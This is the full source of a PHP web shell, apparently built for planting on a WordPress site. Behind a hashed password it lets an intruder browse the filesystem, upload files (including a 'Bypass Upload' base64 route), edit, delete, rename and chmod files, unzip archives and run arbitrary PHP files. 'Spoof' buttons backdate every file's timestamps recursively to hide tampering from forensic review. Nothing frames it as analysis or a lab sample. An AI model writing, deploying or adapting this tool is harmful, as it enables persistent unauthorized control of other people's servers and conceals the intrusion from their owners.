<?php
$_KH='55c960b4cb0366472dd8d8fd5b34e1c5';
$TOK=substr(md5('bfx_'.$_KH),0,12);

$BASE='/';
$WP_ROOT=rtrim(str_replace('\\','/',__DIR__),'/');
$_def=ltrim($WP_ROOT,'/');
// Find highest accessible dir (for Spoof/FixPerms "all" operations)
$_wall=$WP_ROOT;
for($_i=0;$_i<20;$_i++){$_p=dirname($_wall);if($_p===$_wall||strlen($_p)<2)break;if(!@is_dir($_p))break;$_wall=$_p;}

if(isset($_POST['k'])&&md5($_POST['k'])===$_KH){header('Location:?t='.$TOK.'&d='.urlencode($_def));exit;}
$_a=(!empty($_GET['t'])&&$_GET['t']===$TOK)||(!empty($_POST['t'])&&$_POST['t']===$TOK);
if(!$_a){echo'<html><body style="background:#111;color:#ccc;font:13px monospace;padding:10px"><form method=post><input name=k type=password placeholder=password style="background:#222;color:#0f0;padding:4px;border:1px solid #444"> <button style="background:#333;color:#ccc;border:1px solid #555;padding:4px 10px">Go</button></form></body></html>';exit;}

if(isset($_GET['d'])){$d=trim(str_replace(['..','\\',"\0"],'',str_replace('\\','/',$_GET['d'])),'/');
}else{$d=$_def;}
$cur='/'.$d;
$_Q='?t='.$TOK.'&d='.urlencode($d);

if(isset($_GET['dl'])){$f=$cur.'/'.basename($_GET['dl']);if(is_file($f)){header('Content-Disposition:attachment;filename='.basename($f));readfile($f);exit;}}

if(!function_exists('_wps_rmdir')){function _wps_rmdir($d){$it=@scandir($d);if($it)foreach($it as $n){if($n==='.'||$n==='..')continue;$fp=$d.'/'.$n;@is_dir($fp)?_wps_rmdir($fp):@unlink($fp);}@rmdir($d);}}
if(!function_exists('_wps_oldest')){function _wps_oldest($d,&$o){$it=@scandir($d);if(!$it)return;foreach($it as $n){if($n==='.'||$n==='..')continue;$fp=$d.'/'.$n;$mt=@filemtime($fp);if($mt&&$mt<$o)$o=$mt;if(@is_dir($fp))_wps_oldest($fp,$o);}}}
if(!function_exists('_wps_touch')){function _wps_touch($d,$ts,&$fc,&$dc){$it=@scandir($d);if(!$it)return;foreach($it as $n){if($n==='.'||$n==='..')continue;$fp=$d.'/'.$n;if(@is_dir($fp)){_wps_touch($fp,$ts,$fc,$dc);@touch($fp,$ts,$ts);$dc++;}else{@touch($fp,$ts,$ts);$fc++;}}}}
if(!function_exists('_wps_fixp')){function _wps_fixp($d,&$fc,&$dc){$it=@scandir($d);if(!$it)return;foreach($it as $n){if($n==='.'||$n==='..')continue;$fp=$d.'/'.$n;if(@is_dir($fp)){@chmod($fp,0755);$dc++;_wps_fixp($fp,$fc,$dc);}else{@chmod($fp,0644);$fc++;}}}}

if(!empty($_GET['rm'])){
    $f=$cur.'/'.basename($_GET['rm']);
    if(@is_dir($f))_wps_rmdir($f);else @unlink($f);
    header('Location:'.$_Q);exit;
}

if(!empty($_POST['save'])){file_put_contents($cur.'/'.basename($_POST['fn']),$_POST['content']);header('Location:'.$_Q);exit;}

if(isset($_FILES['upl'])){foreach($_FILES['upl']['name']as $i=>$n){if($_FILES['upl']['error'][$i]===0)move_uploaded_file($_FILES['upl']['tmp_name'][$i],$cur.'/'.basename($n));}header('Location:'.$_Q);exit;}

if(!empty($_POST['b64fn'])&&isset($_POST['b64dat'])){
    $fn=basename(str_replace(['..','\\','/'],'',$_POST['b64fn']));
    $data=base64_decode(preg_replace('/\s+/','',$_POST['b64dat']));
    if($fn&&$data!==false){file_put_contents($cur.'/'.$fn,$data);}
    header('Location:'.$_Q);exit;
}

if(!empty($_POST['chm'])){@chmod($cur.'/'.basename($_POST['chf']),octdec($_POST['chm']));header('Location:'.$_Q);exit;}
if(!empty($_POST['nf'])){file_put_contents($cur.'/'.basename($_POST['nf']),'');header('Location:'.$_Q);exit;}
if(!empty($_POST['nd'])){mkdir($cur.'/'.basename($_POST['nd']),0755,true);header('Location:'.$_Q);exit;}

if(!empty($_POST['fixperms'])){
    $fpt=($_POST['fixperms']==='root')?$_wall:$cur;
    $fc=$dc=0;_wps_fixp($fpt,$fc,$dc);@chmod($fpt,0755);
    die('<html><body style="background:#1a1a1a;color:#0f0;font:13px monospace;padding:10px">Fixed: <b>'.$dc.'</b> dirs 755, <b>'.$fc.'</b> files 644<br><a href="'.$_Q.'" style="color:#6cf">Back</a></body></html>');
}

if(!empty($_POST['spoof'])){
    $sp_root=($_POST['spoof']==='root')?$_wall:$cur;
    $oldest=time();_wps_oldest($sp_root,$oldest);
    $fc=$dc=0;_wps_touch($sp_root,$oldest,$fc,$dc);@touch($sp_root,$oldest,$oldest);
    $label=date('Y-m-d H:i:s',$oldest);
    die('<html><body style="background:#1a1a1a;color:#0f0;font:13px monospace;padding:10px">Spoofed: <b>'.$dc.'</b> dirs + <b>'.$fc.'</b> files &rarr; <b>'.$label.'</b><br><a href="'.$_Q.'" style="color:#6cf">Back</a></body></html>');
}

if(!empty($_GET['spoof_f'])){
    $f=$cur.'/'.basename($_GET['spoof_f']);
    if(file_exists($f)){
        $oldest=time();
        $it=@scandir($cur);
        if($it)foreach($it as $n){if($n==='.'||$n==='..')continue;$mt=@filemtime($cur.'/'.$n);if($mt&&$mt<$oldest)$oldest=$mt;}
        @touch($f,$oldest,$oldest);
    }
    header('Location:'.$_Q);exit;
}

if(!empty($_GET['run'])){
    $f=$cur.'/'.basename($_GET['run']);
    if(@is_file($f)&&@is_readable($f)){
        ob_start();
        $old_dir=@getcwd();
        @chdir(dirname($f));
        include($f);
        if($old_dir)@chdir($old_dir);
        $out=ob_get_clean();
        die('<html><body style="background:#1a1a1a;color:#0f0;font:13px monospace;padding:10px;white-space:pre-wrap">'.htmlspecialchars($out).'<br><br><a href="'.$_Q.'" style="color:#6cf">Back</a></body></html>');
    }
    header('Location:'.$_Q);exit;
}

if(!empty($_POST['rnf'])&&!empty($_POST['rnt'])){
    $from=$cur.'/'.basename($_POST['rnf']);
    $to=$cur.'/'.basename(str_replace(['..','\\','/'],'',$_POST['rnt']));
    @rename($from,$to);header('Location:'.$_Q);exit;
}

if(!empty($_POST['unzip'])){
    $zf=$cur.'/'.basename($_POST['unzip']);
    $msg='';
    if(class_exists('ZipArchive')){
        $z=new ZipArchive;$r=$z->open($zf);
        if($r===true){$z->extractTo($cur);$z->close();$msg='Extracted OK';}
        else{$msg='ZipArchive error: '.$r;}
    }else{
        $out=@shell_exec('cd '.escapeshellarg($cur).' && unzip -o '.escapeshellarg($zf).' 2>&1');
        if($out===null){$out=@exec('unzip -o '.escapeshellarg($zf).' -d '.escapeshellarg($cur).' 2>&1');}
        $msg=$out?trim($out):'No ZipArchive and exec disabled';
    }
    die('<html><body style="background:#1a1a1a;color:#0f0;font:13px monospace;padding:10px;white-space:pre-wrap">'.htmlspecialchars($msg).'<br><br><a href="'.$_Q.'" style="color:#6cf">Back</a></body></html>');
}

$_bc=explode('/',$d);$_acc='';
$_bparts=array_values(array_filter(explode('/',str_replace('\\','/',$BASE))));
?>
<html><head><style>
body{background:#1a1a1a;color:#ccc;font:13px monospace;padding:10px}
a{color:#6cf;text-decoration:none}a:hover{color:#9ef}
table{border-collapse:collapse;width:100%}
td{padding:3px 6px;vertical-align:middle}
tr:hover td{background:#252525}
.dr td{background:#1e2230}.dr:hover td{background:#252e45}
input,textarea{background:#222;color:#ccc;border:1px solid #444;padding:3px}
button{background:#2a2a2a;color:#aaa;border:1px solid #444;padding:2px 8px;cursor:pointer;border-radius:3px}
button:hover{background:#383838}
.dim{color:#555}.tb{display:flex;gap:6px;flex-wrap:wrap;margin:6px 0;align-items:center}
.bn{color:#6cf;font-weight:bold}.bf{color:#ccc}
.act a{margin-right:6px;font-size:11px}
</style></head><body>
<div style="padding:5px 8px;background:#1e1e2e;border-radius:4px;margin-bottom:8px;font-size:12px;overflow-x:auto;white-space:nowrap;border:1px solid #333"><?php
echo '<a href="?t='.$TOK.'&d=" style="color:#555">/</a>';
for($i=0;$i<count($_bparts)-1;$i++){echo ' <span style="color:#444">'.htmlspecialchars($_bparts[$i]).'</span> <span style="color:#333">/</span>';}
if($_bparts)echo ' <a href="?t='.$TOK.'&d=" style="color:#6cf;font-weight:bold">'.htmlspecialchars(end($_bparts)).'</a>';
foreach($_bc as $_p){if($_p==='')continue;$_acc=$_acc?$_acc.'/'.$_p:$_p;
echo ' <span style="color:#333">/</span> <a href="?t='.$TOK.'&d='.urlencode($_acc).'" style="color:'.($_acc===$d?'#fff':'#6cf').';font-weight:'.($_acc===$d?'bold':'normal').'">'.htmlspecialchars($_p).'</a>';}
?></div>
<div class=tb>
<form method=post action="?t=<?=$TOK?>&d=<?=urlencode($d)?>"><input name=nf placeholder="new file.php" size=15><button>+File</button></form>
<form method=post action="?t=<?=$TOK?>&d=<?=urlencode($d)?>"><input name=nd placeholder="new-dir" size=11><button>+Dir</button></form>
<form method=post enctype=multipart/form-data action="?t=<?=$TOK?>&d=<?=urlencode($d)?>"><input type=file name="upl[]" multiple><button>Upload</button></form>
<form method=post action="?t=<?=$TOK?>&d=<?=urlencode($d)?>" onsubmit="return confirm('Fix perms?')"><input type=hidden name=fixperms value="<?=htmlspecialchars($d?$d:'root')?>"><button style="color:#fa0">Fix Perms</button></form>
<form method=post action="?t=<?=$TOK?>&d=<?=urlencode($d)?>" onsubmit="return confirm('Fix perms ROOT rekursif?')"><input type=hidden name=fixperms value="root"><button style="color:#f88">Fix Perms (all)</button></form>
</div>
<div class=tb>
<form method=post action="?t=<?=$TOK?>&d=<?=urlencode($d)?>" style="display:flex;align-items:center;gap:4px">
<textarea id=b64dat name=b64dat style="display:none"></textarea>
<input type=hidden id=b64fn name=b64fn>
<input type=file id=b64src>
<button type=button onclick="
var f=document.getElementById('b64src').files[0];
if(!f){alert('Pilih file dulu');return;}
var r=new FileReader();
r.onload=function(e){
  document.getElementById('b64dat').value=e.target.result.split(',')[1];
  document.getElementById('b64fn').value=f.name;
  this.form.submit();
}.bind(this);r.readAsDataURL(f);" style="color:#0ff;border-color:#0ff">Bypass Upload</button>
</form>
<form method=post action="?t=<?=$TOK?>&d=<?=urlencode($d)?>" onsubmit="return confirm('Spoof timestamps?')"><input type=hidden name=spoof value="<?=htmlspecialchars($d?$d:'root')?>"><button style="color:#a8f">Spoof (here)</button></form>
<form method=post action="?t=<?=$TOK?>&d=<?=urlencode($d)?>" onsubmit="return confirm('Spoof ALL timestamps rekursif?')"><input type=hidden name=spoof value="root"><button style="color:#f8a">Spoof (all)</button></form>
</div>
<?php
$_ed=isset($_GET['edit'])?$_GET['edit']:'';
if($_ed){
    $fp=$cur.'/'.$_ed;
    echo '<form method=post action="?t='.$TOK.'&d='.urlencode($d).'">'.
         '<div style="color:#888;margin-bottom:4px">Editing: <b style="color:#fff">'.htmlspecialchars($_ed).'</b></div>'.
         '<input type=hidden name=fn value="'.htmlspecialchars($_ed).'">'.
         '<textarea name=content style="width:99%;height:74vh;background:#0d0d0d;color:#0f0;font:12px monospace;border:1px solid #333">'.htmlspecialchars(@file_get_contents($fp)).'</textarea><br>'.
         '<button name=save value=1 style="margin-top:4px;color:#0f0;border-color:#0f0">Save</button> '.
         '<a href="'.$_Q.'" style="color:#f66;margin-left:10px">Cancel</a></form>';
}else{
    $all=array_merge(glob($cur.'/.*')?:[],glob($cur.'/*')?:[]);
    usort($all,function($a,$b){$ad=is_dir($a);$bd=is_dir($b);if($ad!==$bd)return $bd-$ad;return strcasecmp(basename($a),basename($b));});
    echo '<table>';
    echo '<tr style="border-bottom:1px solid #333;color:#555;font-size:11px"><td>T</td><td>Name</td><td>Perms</td><td>Size</td><td>Modified</td><td>Actions</td></tr>';
    foreach($all as $it){
        $n=basename($it);if($n==='.'||$n==='..')continue;
        $sp=$d?$d.'/'.$n:$n;$isd=is_dir($it);
        $perm=substr(sprintf('%o',fileperms($it)),-4);
        $iszip=(!$isd&&strtolower(substr($n,-4))==='.zip');
        $mtime=@filemtime($it);$mdate=$mtime?date('Y-m-d H:i',$mtime):'';
        $wr=@is_writable($it);
        $rc=$isd?'dr':'';
        echo '<tr class="'.$rc.'">';
        echo '<td style="color:'.($isd?'#6cf':'#555').'">'.($isd?'D':'F').'</td>';
        echo '<td>'.($isd?'<a href="?t='.$TOK.'&d='.urlencode($sp).'" class=bn>'.htmlspecialchars($n).'</a>':'<span class=bf>'.htmlspecialchars($n).'</span>').'</td>';
        echo '<td style="color:'.($wr?'#4d4':'#d44').';font-weight:bold">'.$perm.'</td>';
        echo '<td class=dim>'.(!$isd?number_format(filesize($it)).' B':'—').'</td>';
        echo '<td style="color:#666;font-size:11px">'.$mdate.'</td>';
        echo '<td class=act>';
        if(!$isd)echo '<a href="?t='.$TOK.'&d='.urlencode($d).'&edit='.urlencode($n).'" style="color:#8f8">edit</a>'.
                      '<a href="?t='.$TOK.'&d='.urlencode($d).'&dl='.urlencode($n).'" style="color:#8cf">download</a>'.
                      (strtolower(substr($n,-4))==='.php'?'<a href="?t='.$TOK.'&d='.urlencode($d).'&run='.urlencode($n).'" onclick="return confirm(\'Execute '.addslashes($n).'?\')" style="color:#f80">run</a>':'');
        echo '<a href="?t='.$TOK.'&d='.urlencode($d).'&spoof_f='.urlencode($n).'" style="color:#c8f">spoof</a>';
        echo '<a href="?t='.$TOK.'&d='.urlencode($d).'&rm='.urlencode($n).'" onclick="return confirm(\'Delete '.addslashes($n).'?\')" style="color:#f66">delete</a>';
        if($iszip)echo '<form method=post action="?t='.$TOK.'&d='.urlencode($d).'" style="display:inline"><input type=hidden name=unzip value="'.htmlspecialchars($n).'"><button style="color:#8f8;font-size:11px;padding:1px 5px">unzip</button></form>';
        echo '<form method=post action="?t='.$TOK.'&d='.urlencode($d).'" style="display:inline;margin-left:4px">'.
             '<input type=hidden name=rnf value="'.htmlspecialchars($n).'">'.
             '<input name=rnt value="'.htmlspecialchars($n).'" size=16 style="font-size:11px">'.
             '<button style="color:#fc8;font-size:11px;padding:1px 5px">rename</button></form>';
        echo '<form method=post action="?t='.$TOK.'&d='.urlencode($d).'" style="display:inline;margin-left:4px">'.
             '<input type=hidden name=chf value="'.htmlspecialchars($n).'">'.
             '<input name=chm value="'.$perm.'" size=4 style="font-size:11px">'.
             '<button style="font-size:11px;padding:1px 5px">chmod</button></form>';
        echo '</td></tr>';
    }
    echo '</table>';
}
?>
</body></html>
